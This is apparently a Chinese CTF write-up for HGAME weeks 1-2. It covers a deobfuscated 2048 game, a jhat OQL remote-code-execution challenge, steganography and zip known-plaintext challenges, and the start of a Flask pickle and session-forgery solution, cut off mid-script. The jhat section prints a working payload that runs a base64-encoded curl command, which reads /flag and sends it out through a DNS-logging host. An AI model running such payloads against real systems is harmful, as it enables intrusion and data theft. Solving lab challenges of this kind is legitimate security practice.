    this[x(438)][x(437)][x(465)](x(443))
}
;
function s0(x, n) {
    for (var e = h, t = 36 * 52 + -590 + -1282, r, a, o = -1 * -1971 + -678 + -1293, c = ""; a = x[e(442)](o++); ~a && (r = t % (-1 * 445 + -324 + -1 * -773) ? r * (-64 * 33 + -6548 + 8724) + a : a,
    t++ % (-268 * -25 + 166 * -37 + -277 * 2)) ? c += String[e(423)](7397 + 173 * 13 + 1 * -9391 & r >> (-2 * t & 1573 + -2423 * 1 + -856 * -1)) : 3978 + -26 * 153)
        a = n[e(481)](a);
    return c
}
function r0(x) {
    function n(e) {
        var t = F;
        if (typeof e === t(482))
            return (function(r) {}
            ).constructor(t(477))[t(467)](t(460));
        ("" + e / e)[t(479)] !== 1 * 2807 + -6187 + 3381 || e % 20 === -178 + 1 * 178 ? (function() {
            return !0
        }
        ).constructor(t(441) + t(447))[t(478)](t(417)) : (function() {
            return !1
        }
        )[t(421)](t(441) + t(447))[t(467)](t(494)),
        n(++e)
    }
    try {
        if (x)
            return n;
        n(-12472 + -1559 * -8)
    } catch {}
}
var Z = E;
function N() {
    var x = ["action", "string", "2331990Smsoio", "length", "function *\\( *\\)", "call", "input", "stateObject", "counter", "930bExSFt", "savePosition", "while (true) {}", "chain", "98601tspbnR", "setInterval", "constructor", "10EjKgiA", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "value", "test", "mergedFrom", "init", "debu", "prototype", "56CjCzAS", "677128zAClZZ", "previousPosition", "75022iPEXCA", "15202JaLHoO", "apply", "581502egQFhJ", "gger", "531924HtjIlh", "51xGTVPz", "serialize"];
    return N = function() {
        return x
    }
    ,
    N()
}
(function(x, n) {
    for (var e = E, t = x(); ; )
        try {
            var r = parseInt(e(494)) / 1 + -parseInt(e(508)) / 2 * (-parseInt(e(514)) / 3) + -parseInt(e(513)) / 4 * (-parseInt(e(497)) / 5) + -parseInt(e(511)) / 6 + -parseInt(e(505)) / 7 * (parseInt(e(506)) / 8) + parseInt(e(483)) / 9 + -parseInt(e(490)) / 10 * (parseInt(e(509)) / 11);
            if (r === n)
                break;
            t.push(t.shift())
        } catch {
            t.push(t.shift())
        }
}
)(N, 583658 + 587568 * -1 + 47 * 7717);
var d0 = function() {
    var x = !0;
    return function(n, e) {
        var t = x ? function() {
            var r = E;
            if (e) {
                var a = e[r(510)](n, arguments);
                return e = null,
                a
            }
        }
        : function() {}
        ;
        return x = !1,
        t
    }
}();
(function() {
    d0(this, function() {
        var x = E
          , n = new RegExp(x(485))
          , e = new RegExp(x(498),"i")
          , t = U(x(502));
        !n[x(500)](t + x(493)) || !e[x(500)](t + x(487)) ? t("0") : U()
    })()
}
)(),
function() {
    var x = E
      , n = function() {
        var t;
        try {
            t = Function('return (function() {}.constructor("return this")( ));')()
        } catch {
            t = window
        }
        return t
    }
      , e = n();
    e[x(495)](U, 16859 + 1 * -15859)
}();
function j(x, n) {
    var e = E;
    this.x = x.x,
    this.y = x.y,
    this[e(499)] = n || 1 * -7427 + -3058 * 1 + 1 * 10487,
    this[e(507)] = null,
    this[e(501)] = null
}
function E(x, n) {
    var e = N();
    return E = function(t, r) {
        t = t - (-1 * -8571 + 8723 + -16813);
        var a = e[t];
        return a
    }
    ,
    E(x, n)
}
j[Z(504)][Z(491)] = function() {
    var x = Z;
    this[x(507)] = {
        x: this.x,
        y: this.y
    }
}
,
j.prototype.updatePosition = function(x) {
    this.x = x.x,
    this.y = x.y
}
,
j[Z(504)][Z(515)] = function() {
    var x = Z;
    return {
        position: {
            x: this.x,
            y: this.y
        },
        value: this[x(499)]
    }
}
;
function U(x) {
    function n(e) {
        var t = E;
        if (typeof e === t(482))
            return (function(r) {}
            )[t(496)](t(492))[t(510)](t(489));
        ("" + e / e)[t(484)] !== -15 * -79 + 247 + -1431 || e % (-514 + -1111 * -3 + -2799) === -4847 * 2 + 3 * -2528 + -106 * -163 ? (function() {
            return !0
        }
        )[t(496)](t(503) + t(512))[t(486)](t(481)) : (function() {
            return !1
        }
        )[t(496)](t(503) + t(512))[t(510)](t(488)),
        n(++e)
    }
    try {
        if (x)
            return n;
        n(-7 * -1262 + -1 * -5197 + -14031)
    } catch {}
}
var d = O;
(function(x, n) {
    for (var e = O, t = x(); ; )
        try {
            var r = parseInt(e(404)) / 1 + -parseInt(e(420)) / 2 + -parseInt(e(396)) / 3 + parseInt(e(397)) / 4 + parseInt(e(428)) / 5 * (-parseInt(e(403)) / 6) + -parseInt(e(430)) / 7 + -parseInt(e(401)) / 8 * (-parseInt(e(410)) / 9);
            if (r === n)
                break;
            t.push(t.shift())
        } catch {
            t.push(t.shift())
        }
}
)(D, 1 * -6711 + 18616 + 263022);
var h0 = function() {
    var x = !0;
    return function(n, e) {
        var t = x ? function() {
            var r = O;
            if (e) {
                var a = e[r(424)](n, arguments);
                return e = null,
                a
            }
        }
        : function() {}
        ;
        return x = !1,
        t
    }
}();
(function() {
    h0(this, function() {
        var x = O
          , n = new RegExp(x(415))
          , e = new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)","i")
          , t = a0(x(417));
        !n[x(423)](t + x(429)) || !e[x(423)](t + "input") ? t("0") : a0()
    })()
}
)();
function _(x, n) {
    var e = O;
    this[e(389)] = x,
    this.cells = n ? this.fromState(n) : this[e(402)]()
}
_[d(400)][d(402)] = function() {
    for (var x = d, n = [], e = -8210 + 2 * 4105; e < this[x(389)]; e++)
        for (var t = n[e] = [], r = 6767 + -1294 * 7 + 2291; r < this[x(389)]; r++)
            t[x(394)](null);
    return n
}
,
_[d(400)][d(421)] = function(x) {
    for (var n = d, e = [], t = -129 * -6 + -1 * 467 + -307; t < this[n(389)]; t++)
        for (var r = e[t] = [], a = 33 * 127 + 3607 + -1 * 7798; a < this[n(389)]; a++) {
            var o = x[t][a];
            r[n(394)](o ? new j(o.position,o[n(425)]) : null)
        }
    return e
}
,
_[d(400)][d(419)] = function() {
    var x = d
      , n = this[x(418)]();
    if (n[x(388)])
        return n[Math[x(427)](Math[x(426)]() * n[x(388)])]
}
,
_.prototype[d(418)] = function() {
    var x = d
      , n = [];
    return this[x(406)](function(e, t, r) {
        var a = x;
        !r && n[a(394)]({
            x: e,
            y: t
        })
    }),
    n
}
,
_[d(400)].eachCell = function(x) {
    for (var n = d, e = 4539 + 267 * -17; e < this[n(389)]; e++)
        for (var t = 0; t < this[n(389)]; t++)
            x(e, t, this[n(416)][e][t])
}
,
_[d(400)][d(412)] = function() {
    return !!this.availableCells().length
}
,
_[d(400)][d(399)] = function(x) {
    return !this.cellOccupied(x)
}
,
_[d(400)][d(408)] = function(x) {
    var n = d;
    return !!this[n(395)](x)
}
,
_[d(400)][d(395)] = function(x) {
    var n = d;
    return this[n(411)](x) ? this[n(416)][x.x][x.y] : null
}
,
function() {
    var x = d, n;
    try {
        var e = Function("return (function() " + x(390) + ");");
        n = e()
    } catch {
        n = window
    }
    n.setInterval(a0, -517 * -1 + 5411 + -4928)
}(),
_.prototype[d(393)] = function(x) {
    var n = d;
    this[n(416)][x.x][x.y] = x
}
,
_[d(400)][d(398)] = function(x) {
    this.cells[x.x][x.y] = null
}
,
_.prototype[d(411)] = function(x) {
    var n = d;
    return x.x >= 5877 + -3856 * -1 + 9733 * -1 && x.x < this[n(389)] && x.y >= 697 * -1 + -1 * 8273 + 299 * 30 && x.y < this[n(389)]
}
,
_[d(400)][d(387)] = function() {
    for (var x = d, n = [], e = 1 * -6968 + 2086 + 1 * 4882; e < this[x(389)]; e++)
        for (var t = n[e] = [], r = -1287 + -929 * -5 + -2 * 1679; r < this[x(389)]; r++)
            t[x(394)](this[x(416)][e][r] ? this[x(416)][e][r][x(387)]() : null);
    return {
        size: this[x(389)],
        cells: n
    }
}
;
function O(x, n) {
    var e = D();
    return O = function(t, r) {
        t = t - (8770 + 83 * -101);
        var a = e[t];
        return a
    }
    ,
    O(x, n)
}
function D() {
    var x = ["action", "eachCell", "constructor", "cellOccupied", "stateObject", "9kQcxIS", "withinBounds", "cellsAvailable", "gger", "debu", "function *\\( *\\)", "cells", "init", "availableCells", "randomAvailableCell", "1037834aqvBTd", "fromState", "string", "test", "apply", "value", "random", "floor", "21065pnVeLd", "chain", "3727521OBIvOi", "serialize", "length", "size", '{}.constructor("return this")( )', "counter", "call", "insertTile", "push", "cellContent", "475407jFkWoH", "2046960kuDgMC", "removeTile", "cellAvailable", "prototype", "8528552OwSHVa", "empty", "696EXOAbH", "395715eoiAeO"];
    return D = function() {
        return x
    }
    ,
    D()
}
function a0(x) {
    function n(e) {
        var t = O;
        if (typeof e === t(422))
            return (function(r) {}
            )[t(407)]("while (true) {}")[t(424)](t(391));
        ("" + e / e).length !== -1033 * 6 + -350 + 6549 || e % (5291 + 1 * -5271) === 2 * 3697 + 2199 + -9593 ? (function() {
            return !0
        }
        )[t(407)](t(414) + "gger")[t(392)](t(405)) : (function() {
            return !1
        }
        )[t(407)]("debu" + t(413))[t(424)](t(409)),
        n(++e)
    }
    try {
        if (x)
            return n;
        n(4132 + -4 * 1033)
    } catch {}
}
var l = I;
(function(x, n) {
    for (var e = I, t = x(); ; )
        try {
            var r = parseInt(e(484)) / 1 * (parseInt(e(474)) / 2) + -parseInt(e(458)) / 3 + -parseInt(e(488)) / 4 * (parseInt(e(463)) / 5) + parseInt(e(471)) / 6 * (parseInt(e(485)) / 7) + parseInt(e(461)) / 8 + parseInt(e(478)) / 9 + parseInt(e(483)) / 10;
            if (r === n)
                break;
            t.push(t.shift())
        } catch {
            t.push(t.shift())
        }
}
)(X, -503839 + -17 * -25951 + 813673);
var b0 = function() {
    var x = !0;
    return function(n, e) {
        var t = x ? function() {
            var r = I;
            if (e) {
                var a = e[r(455)](n, arguments);
                return e = null,
                a
            }
        }
        : function() {}
        ;
        return x = !1,
        t
    }
}();
function X() {
    var x = ["4BRwjbw", "bestScoreKey", "localStorage", "string", "length", "constructor", "removeItem", "parse", "test", "gameStateKey", "return (function() ", "localStorageSupported", "apply", "storage", "action", "4267836FNkXGc", "counter", "setItem", "9517960ZohRcm", "debu", "6902785OIOCVl", "setBestScore", "clearGameState", "stateObject", '{}.constructor("return this")( )', "_data", "stringify", "gger", "38418CWiVdF", "hasOwnProperty", "fakeStorage", "155438SLEaSd", "init", "call", "while (true) {}", "8567001aLpBtY", "prototype", "getBestScore", "setGameState", "bestScore", "11866650vFDDKJ", "2KOLAeW", "77YarLkr", "getItem", "setInterval"];
    return X = function() {
        return x
    }
    ,
    X()
}
(function() {
    b0(this, function() {
        var x = I
          , n = new RegExp("function *\\( *\\)")
          , e = new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)","i")
          , t = x0(x(475));
        !n[x(451)](t + "chain") || !e[x(451)](t + "input") ? t("0") : x0()
    })()
}
)(),
function() {
    var x = I
      , n = function() {
        var t = I, r;
        try {
            r = Function(t(453) + t(467) + ");")()
        } catch {
            r = window
        }
        return r
    }
      , e = n();
    e[x(487)](x0, 83 * 96 + 695 + -79 * 97)
}(),
window[l(473)] = {
    _data: {},
    setItem: function(x, n) {
        var e = l;
        return this[e(468)][x] = String(n)
    },
    getItem: function(x) {
        var n = l;
        return this[n(468)][n(472)](x) ? this[n(468)][x] : void 0
    },
    removeItem: function(x) {
        var n = l;
        return delete this[n(468)][x]
    },
    clear: function() {
        var x = l;
        return this[x(468)] = {}
    }
};
function M() {
    var x = l;
    this[x(489)] = x(482),
    this[x(452)] = "gameState";
    var n = !1;
    this[x(456)] = n ? window.localStorage : window.fakeStorage
}
function I(x, n) {
    var e = X();
    return I = function(t, r) {
        t = t - (-4245 * -1 + -4009 + 210);
        var a = e[t];
        return a
    }
    ,
    I(x, n)
}
M[l(479)][l(454)] = function() {
    var x = l
      , n = "test";
    try {
        var e = window[x(490)];
        return e[x(460)](n, "1"),
        e[x(449)](n),
        !0
    } catch {
        return !1
    }
}
,
M[l(479)][l(480)] = function() {
    var x = l;
    return this[x(456)][x(486)](this[x(489)]) || 1 * -4924 + -7 * -367 + 2355
}
,
M[l(479)][l(464)] = function(x) {
    var n = l;
    this[n(456)][n(460)](this.bestScoreKey, x)
}
,
M[l(479)].getGameState = function() {
    var x = l
      , n = this[x(456)][x(486)](this[x(452)]);
    return n ? JSON[x(450)](n) : null
}
,
M[l(479)][l(481)] = function(x) {
    var n = l;
    this[n(456)][n(460)](this.gameStateKey, JSON[n(469)](x))
}
,
M.prototype[l(465)] = function() {
    var x = l;
    this[x(456)].removeItem(this[x(452)])
}
;
function x0(x) {
    function n(e) {
        var t = I;
        if (typeof e === t(446))
            return (function(r) {}
            ).constructor(t(477)).apply(t(459));
        ("" + e / e)[t(447)] !== 4176 + -5326 * -1 + -9501 * 1 || e % (-1 * -3688 + -94 * 86 + 4416) === 194 * -16 + 4078 * 2 + -5052 ? (function() {
            return !0
        }
        )[t(448)]("debu" + t(470))[t(476)](t(457)) : (function() {
            return !1
        }
        ).constructor(t(462) + "gger")[t(455)](t(466)),
        n(++e)
    }
    try {
        if (x)
            return n;
        n(-1 * -9599 + -7568 + -1 * 2031)
    } catch {}
}
var u = P;
(function(x, n) {
    for (var e = P, t = x(); ; )
        try {
            var r = parseInt(e(495)) / 1 * (-parseInt(e(458)) / 2) + -parseInt(e(530)) / 3 + -parseInt(e(507)) / 4 * (-parseInt(e(483)) / 5) + -parseInt(e(469)) / 6 * (parseInt(e(481)) / 7) + -parseInt(e(479)) / 8 + parseInt(e(526)) / 9 + parseInt(e(508)) / 10;
            if (r === n)
                break;
            t.push(t.shift())
        } catch {
            t.push(t.shift())
        }
}
)(H, -6 * 29030 + 363338 + 9589);
function H() {
    var x = ["keepPlaying", "serialize", "buildTraversals", "push", "call", "mergedFrom", "findFarthestPosition", "setGameState", "addStartTiles", "restart", "forEach", "2264940zJtqhT", "F12", "init", "movesAvailable", "1142334gNKDYE", "apply", "debu", "cellAvailable", "farthest", "input", "score", "arguments", "tileMatchesAvailable", "over", "chain", "13394jxqiQP", "getBestScore", "won", "cells", "actuator", "cellContent", "isGameTerminated", "prototype", "insertTile", "onkeydown", "getGameState", "2946IZuMmd", "bind", "startTiles", "savePosition", "counter", "value", "onkeyup", "move", "randomAvailableCell", "removeTile", "1843376XPvtvR", "moveTile", "721ltAWez", "constructor", "55iAhFQf", "document", "oncontextmenu", "grid", "getVector", "clearGameState", "cellsAvailable", "storageManager", "size", "caller", "while (true) {}", "random", "29UKmvdu", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "preventDefault", "next", "updatePosition", "withinBounds", "prepareTiles", "stateObject", "addRandomTile", "positionsEqual", "test", "eachCell", "103376BBPxKK", "5187890qzzRDY", "length", "return (function() ", "inputManager", "actuate", "setInterval", "key"];
    return H = function() {
        return x
    }
    ,
    H()
}
var l0 = function() {
    var x = !0;
    return function(n, e) {
        var t = x ? function() {
            var r = P;
            if (e) {
                var a = e[r(531)](n, arguments);
                return e = null,
                a
            }
        }
        : function() {}
        ;
        return x = !1,
        t
    }
}();
function P(x, n) {
    var e = H();
    return P = function(t, r) {
        t = t - (4787 * -1 + -1571 + -11 * -619);
        var a = e[t];
        return a
    }
    ,
    P(x, n)
}
(function() {
    l0(this, function() {
        var x = P
          , n = new RegExp("function *\\( *\\)")
          , e = new RegExp(x(496),"i")
          , t = c0(x(528));
        !n.test(t + x(457)) || !e[x(505)](t + x(452)) ? t("0") : c0()
    })()
}
)();
function v(x, n, e, t) {
    var r = P;
    this[r(491)] = x,
    this.inputManager = new n,
    this[r(490)] = new t,
    this[r(462)] = new e,
    this[r(471)] = 6396 + 1 * 175 + -6569 * 1,
    this[r(511)].on(r(476), this[r(476)][r(470)](this)),
    this.inputManager.on(r(524), this.restart.bind(this)),
    this[r(511)].on("keepPlaying", this[r(515)][r(470)](this)),
    this.setup()
}
v[u(465)][u(524)] = function() {
    var x = u;
    this.storageManager[x(488)](),
    this.actuator.continueGame(),
    this.setup()
}
,
v[u(465)][u(515)] = function() {
    var x = u;
    this[x(515)] = !0,
    this.actuator.continueGame()
}
,
v[u(465)][u(464)] = function() {
    var x = u;
    return this[x(456)] || this[x(460)] && !this[x(515)]
}
,
v[u(465)].setup = function() {
    var x = u
      , n = this[x(490)][x(468)]();
    window[x(484)][x(485)] = function() {
        return !1
    }
    ,
    n ? (this[x(486)] = new _(n[x(486)][x(491)],n[x(486)][x(461)]),
    this[x(453)] = n[x(453)],
    this[x(456)] = n[x(456)],
    this[x(460)] = n[x(460)],
    this[x(515)] = n[x(515)]) : (this[x(486)] = new _(this.size),
    this[x(453)] = 0,
    this[x(456)] = !1,
    this[x(460)] = !1,
    this[x(515)] = !1,
    this.addStartTiles()),
    document[x(467)] = document[x(475)] = function(e) {
        var t = x
          , r = e || arguments.callee[t(492)][t(454)][9 * 1 + -7349 + 7340];
        r && r[t(514)] == t(527) && r[t(497)]()
    }
    ,
    this[x(512)]()
}
,
v.prototype[u(523)] = function() {
    for (var x = u, n = 7208 + -5 * 1772 + -4 * -413; n < this[x(471)]; n++)
        this[x(503)]()
}
,
v.prototype[u(503)] = function() {
    var x = u;
    if (this[x(486)].cellsAvailable()) {
        var n = Math[x(494)]() < .9 ? 2 : 4
          , e = new j(this.grid[x(477)](),n);
        this[x(486)][x(466)](e)
    }
}
,
v[u(465)][u(512)] = function() {
    var x = u;
    this[x(490)].getBestScore() < this[x(453)] && this[x(490)].setBestScore(this[x(453)]),
    this.over ? this.storageManager[x(488)]() : this[x(490)][x(522)](this[x(516)]()),
    this[x(462)].actuate(this[x(486)], {
        score: this[x(453)],
        over: this[x(456)],
        won: this[x(460)],
        bestScore: this[x(490)][x(459)](),
        terminated: this[x(464)]()
    })
}
,
v.prototype[u(516)] = function() {
    var x = u;
    return {
        grid: this[x(486)][x(516)](),
        score: this.score,
        over: this[x(456)],
        won: this[x(460)],
        keepPlaying: this.keepPlaying
    }
}
,
v[u(465)][u(501)] = function() {
    var x = u;
    this[x(486)][x(506)](function(n, e, t) {
        var r = x;
        t && (t.mergedFrom = null,
        t[r(472)]())
    })
}
,
function() {
    var x = u, n;
    try {
        var e = Function(x(510) + '{}.constructor("return this")( ));');
        n = e()
    } catch {
        n = window
    }
    n[x(513)](c0, -1263 + 1721 * 4 + -4621)
}(),
v[u(465)].moveTile = function(x, n) {
    var e = u;
    this.grid[e(461)][x.x][x.y] = null,
    this.grid[e(461)][n.x][n.y] = x,
    x.updatePosition(n)
}
,
v[u(465)][u(476)] = function(x) {
    var n = u
      , e = this;
    if (!this[n(464)]()) {
        var t, r, a = this[n(487)](x), o = this[n(517)](a), c = !1;
        this[n(501)](),
        o.x[n(525)](function(i) {
            var f = n;
            o.y[f(525)](function(b) {
                var s = f;
                if (t = {
                    x: i,
                    y: b
                },
                r = e[s(486)][s(463)](t),
                r) {
                    var p = e.findFarthestPosition(t, a)
                      , y = e.grid[s(463)](p[s(498)]);
                    if (y && y.value === r[s(474)] && !y[s(520)]) {
                        var R = new j(p.next,r[s(474)] * 2);
                        R[s(520)] = [r, y],
                        e.grid.insertTile(R),
                        e.grid[s(478)](r),
                        r[s(499)](p[s(498)]),
                        e[s(453)] += R[s(474)],
                        R[s(474)] === 1 * -16904 + 734 * -8 + 106 * 524 && (e[s(460)] = !0)
                    } else
                        e[s(480)](r, p[s(451)]);
                    !e.positionsEqual(t, r) && (c = !0)
                }
            })
        }),
        c && (this[n(503)](),
        !this[n(529)]() && (this.over = !0),
        this[n(512)]())
    }
}
,
v[u(465)][u(487)] = function(x) {
    var n = {
        0: {
            x: 0,
            y: -1
        },
        1: {
            x: 1,
            y: 0
        },
        2: {
            x: 0,
            y: 1
        },
        3: {
            x: -1,
            y: 0
        }
    };
    return n[x]
}
,
v[u(465)][u(517)] = function(x) {
    for (var n = u, e = {
        x: [],
        y: []
    }, t = -1 * 3907 + 7316 + -3409; t < this.size; t++)
        e.x[n(518)](t),
        e.y[n(518)](t);
    return x.x === 1993 + 6065 * 1 + -8057 * 1 && (e.x = e.x.reverse()),
    x.y === 3671 + 3121 * 2 + -9912 && (e.y = e.y.reverse()),
    e
}
,
v[u(465)][u(521)] = function(x, n) {
    var e = u, t;
    do
        t = x,
        x = {
            x: t.x + n.x,
            y: t.y + n.y
        };
    while (this[e(486)][e(500)](x) && this[e(486)][e(533)](x));
    return {
        farthest: t,
        next: x
    }
}
,
v[u(465)][u(529)] = function() {
    var x = u;
    return this[x(486)][x(489)]() || this[x(455)]()
}
,
v[u(465)].tileMatchesAvailable = function() {
    for (var x = u, n = this, e, t = 0; t < this[x(491)]; t++)
        for (var r = 7590 + 2 * 3521 + -14632; r < this[x(491)]; r++)
            if (e = this[x(486)][x(463)]({
                x: t,
                y: r
            }),
            e)
                for (var a = 20 * -367 + 2294 * 4 + -102 * 18; a < 4581 + -595 * 7 + -2 * 206; a++) {
                    var o = n.getVector(a)
                      , c = {
                        x: t + o.x,
                        y: r + o.y
                    }
                      , i = n[x(486)][x(463)](c);
                    if (i && i.value === e[x(474)])
                        return !0
                }
    return !1
}
,
v[u(465)][u(504)] = function(x, n) {
    return x.x === n.x && x.y === n.y
}
;
function c0(x) {
    function n(e) {
        var t = P;
        if (typeof e == "string")
            return (function(r) {}
            )[t(482)](t(493)).apply(t(473));
        ("" + e / e)[t(509)] !== -6197 + 3607 * 1 + -1 * -2591 || e % (-5 * -949 + -1 * -2874 + 1 * -7599) === 4 * 1023 + -60 * -29 + 9 * -648 ? (function() {
            return !0
        }
        ).constructor(t(532) + "gger")[t(519)]("action") : (function() {
            return !1
        }
        ).constructor("debugger")[t(531)](t(502)),
        n(++e)
    }
    try {
        if (x)
            return n;
        n(5 * 1029 + -4710 + -435)
    } catch {}
}
var v0 = T;
(function(x, n) {
    for (var e = T, t = x(); ; )
        try {
            var r = parseInt(e(391)) / 1 * (parseInt(e(368)) / 2) + -parseInt(e(370)) / 3 * (parseInt(e(390)) / 4) + parseInt(e(387)) / 5 * (-parseInt(e(369)) / 6) + -parseInt(e(374)) / 7 + -parseInt(e(388)) / 8 + -parseInt(e(365)) / 9 + parseInt(e(392)) / 10;
            if (r === n)
                break;
            t.push(t.shift())
        } catch {
            t.push(t.shift())
        }
}
)(J, -299 * 758 + -1 * -157725 + 498169 * 1);
var p0 = function() {
    var x = !0;
    return function(n, e) {
        var t = x ? function() {
            var r = T;
            if (e) {
                var a = e[r(383)](n, arguments);
                return e = null,
                a
            }
        }
        : function() {}
        ;
        return x = !1,
        t
    }
}();
(function() {
    p0(this, function() {
        var x = T
          , n = new RegExp(x(373))
          , e = new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)","i")
          , t = i0(x(366));
        !n[x(367)](t + x(385)) || !e[x(367)](t + x(372)) ? t("0") : i0()
    })()
}
)();
(function() {
    var x = function() {
        var e = T, t;
        try {
            t = Function(e(389) + e(384) + ");")()
        } catch {
            t = window
        }
        return t
    }
      , n = x();
    n.setInterval(i0, 1 * 3457 + -9739 * 1 + -7282 * -1)
}
)();
function J() {
    var x = ["181928AslSjl", "318AtMHZw", "1113dxpANX", "constructor", "input", "function *\\( *\\)", "2202669fSQzZE", "length", "counter", "gger", "requestAnimationFrame", "while (true) {}", "string", "call", "debu", "apply", '{}.constructor("return this")( )', "chain", "action", "6555bOpQuy", "4616160CRMUPn", "return (function() ", "844HYfGmR", "1TdXVXt", "16024110uynBtN", "2022048blZUcG", "init", "test"];
    return J = function() {
        return x
    }
    ,
    J()
}
window[v0(378)](function() {
    new v(-2123 * 3 + -9990 + 16363,k,g,M)
});
function T(x, n) {
    var e = J();
    return T = function(t, r) {
        t = t - (174 + -212 * 1 + 403);
        var a = e[t];
        return a
    }
    ,
    T(x, n)
}
function i0(x) {
    function n(e) {
        var t = T;
        if (typeof e === t(380))
            return (function(r) {}
            )[t(371)](t(379))[t(383)](t(376));
        ("" + e / e)[t(375)] !== -52 * 18 + -1765 * -3 + -4358 || e % (1742 * 4 + -1277 * 1 + -107 * 53) === 2481 + -4953 * -1 + 531 * -14 ? (function() {
            return !0
        }
        )[t(371)](t(382) + t(377))[t(381)](t(386)) : (function() {
            return !1
        }
        ).constructor(t(382) + t(377))[t(383)]("stateObject"),
        n(++e)
    }
    try {
        if (x)
            return n;
        n(-4066 + -1 * 2377 + -379 * -17)
    } catch {}
}

关键代码

这段代码在设置游戏胜负的相关逻辑

g[h(432)][h(469)] = function(x) {
    var n = h
      , e = x ? "game-won" : n(443)
      , t = x ? s0(n(439), "V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3") : n(453);
    this[n(438)][n(437)].add(e),
    this[n(438)][n(435)]("p")[-1257 * -5 + 9 * 1094 + -5377 * 3].textContent = t
}

这段代码定义了三个变量:ne 和 t

  • 变量 n 被赋值为 h
  • 变量 e 的值是一个条件表达式 x ? "game-won" : n(443)。如果 x 为真,则 e 的值为字符串 "game-won";如果 x 为假,则 e 的值由 n(443) 的结果决定。
  • 变量 t 的值也是一个条件表达式 x ? s0(n(439), "V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3") : n(453)。如果 x 为真,则 t 的值由 s0(n(439), "V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3") 的结果决定;如果 x 为假,则 t 的值由 n(453) 的结果决定。

修改代码即可放到控制台运行:直接设置游戏成功

image.png

flag

flag{b99b820f-934d-44d4-93df-41361df7df2d}

web-jhat

考点

  • java jhat oql导致的rce

分析

题目界面是jhat工具解析java堆存储文件后启动的web server的http服务

jhat还提供了一种对象查询语言(Object Query Language),OQL有点类似SQL,可以用来查询。

OQL语句的执行页面: http://localhost:7000/oql/

OQL帮助信息页面为: http://localhost:7000/oqlhelp/

在最下面可以可以进入oql语句执行的查询界面

参考文章

image.png

payload

利用java.lang.Runtime.getRuntime().exec()来rce

  • java.lang.RuntimeRuntime 是 Java 中的一个类,它提供了与运行时环境交互的方法。getRuntime() 是 Runtime 类的一个静态方法,用于获取当前运行时环境的实例。

  • exec(command)exec() 是 Runtime 类的一个实例方法,用于执行指定的命令。它接受一个字符串参数 command,该参数表示要执行的命令。

java.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC5kcWlxdWpvcmttLmRncmgzLmNu}|{base64,-d}|{bash,-i}')

其中:Y3VybCBgY2F0IC9mbGFnYC5kcWlxdWpvcmttLmRncmgzLmNu
等效:curl `cat /flag`.dqiqujorkm.dgrh3.cn

dnslog外带出flag

image.png

flag

hgame{484f6a185f0223969845bfdb0cb495d0f41cacdb}

misc-signin

9574725865cb85c6ba4ff29f4dfcbe4b.png

斜着看图片直接看出来flag

hagme{WOW_GREAT_YOU_SEE_IT_WONDERFUL}

misc-签到

扫码就送

misc-来自星尘的问候

考点

  • steghide隐写文件
  • 怪异字体对比

    分析

image.png

下载附件得到一个secret.jpg,还挺好看的

secret.jpg

seceret.jpg用steghide,根据题目描述猜测密码123456得到secret.zip(也可以直接跑字典)

image.png

谷歌识图得到游戏名为来自星尘

exa.png的文字如下

知道文字名叫异星字体

image.png
image.png

对比得到flag

flag

hgame{welc0me!}

misc-simple_attack

考点

  • zip压缩包明文攻击

分析

下载附件得到一个zip

解压可以得到一个jpg和又一个zip

而且新的zip里面有一个txt和jpg但都被加密了的

关键是:内外两个jpg的大小是几乎一样的

符合明文攻击条件

- 找到压缩包内其中一个**已知的文件**(**文件大小要大于12Byte**),用相同的压缩软件压缩算法去压缩无密码压缩包,得到明文。
- 通过比较两个压缩包相同位置不同的12个字节,就可以还原出3个key,绕过密码提取出所有的文件。
- 注意明文攻击需要**CRC32值相同**才行。

注意压缩包要选择正常压缩选项

image.png

然后点击开始后,当进入长达几个小时的口令扫描阶段就可以停止了

image.png

然后会得到一个新的攻击解密后的zip

解压可以看到txt已经可以正常打开了

txt是一段base64文本,一眼base64转图片

ee12234a6a548c2085b707f8bb0d11fe.png

flag

hgame{s1mple_attack_for_zip}

misc-希尔希尔希尔

考点

  • png宽高修复
  • png图片隐写txt文件
  • png的LSB隐写
  • 希尔加密

    分析

image.png

下载附件得到一个png

image.png

foremost提出东西secret.txt

CVOCRJGMKLDJGBQIUIVXHEYLPNWR

png一把梭修复图片然后LSB隐写得到key

image.png

https://ctf.bugku.com/tool/hill 在线解密网站

image.png

flag

hgame{DISAPPEARINTHESEAOFBUTTERFLY}

WEEK2

web-myflask

考点

  • python的pickle反序列化
  • flask session伪造

分析

进入题目下载了一个app.py源码

import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone

currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")

app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)

@app.route('/')
def index():
    session['username'] = 'guest'
    return send_file('app.py')

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if not session:
        return 'There is no session available in your client :('
    if request.method == 'GET':
        return 'You are {} now'.format(session['username'])
    
    # For POST requests from admin
    if session['username'] == 'admin':
        pickle_data=base64.b64decode(request.form.get('pickle_data'))
        # Tips: Here try to trigger RCE
        userdata=pickle.loads(pickle_data)
        return userdata
    else:
        return 'Access Denied'
 
if __name__=='__main__':
    app.run(debug=True, host="0.0.0.0")

可以看到app.config['SECRET_KEY'] = currentTime

而且还是打开容器的时间作为key,在一定误差内做一个字典就好了

进入/flag路由进行session伪造

通过脚本写一个 key字典

import datetime

start_time = datetime.datetime.strptime("140750", "%H%M%S")
end_time = datetime.datetime.strptime("142000", "%H%M%S")

current_time = start_time
time_dict = {}

while current_time <= end_time:
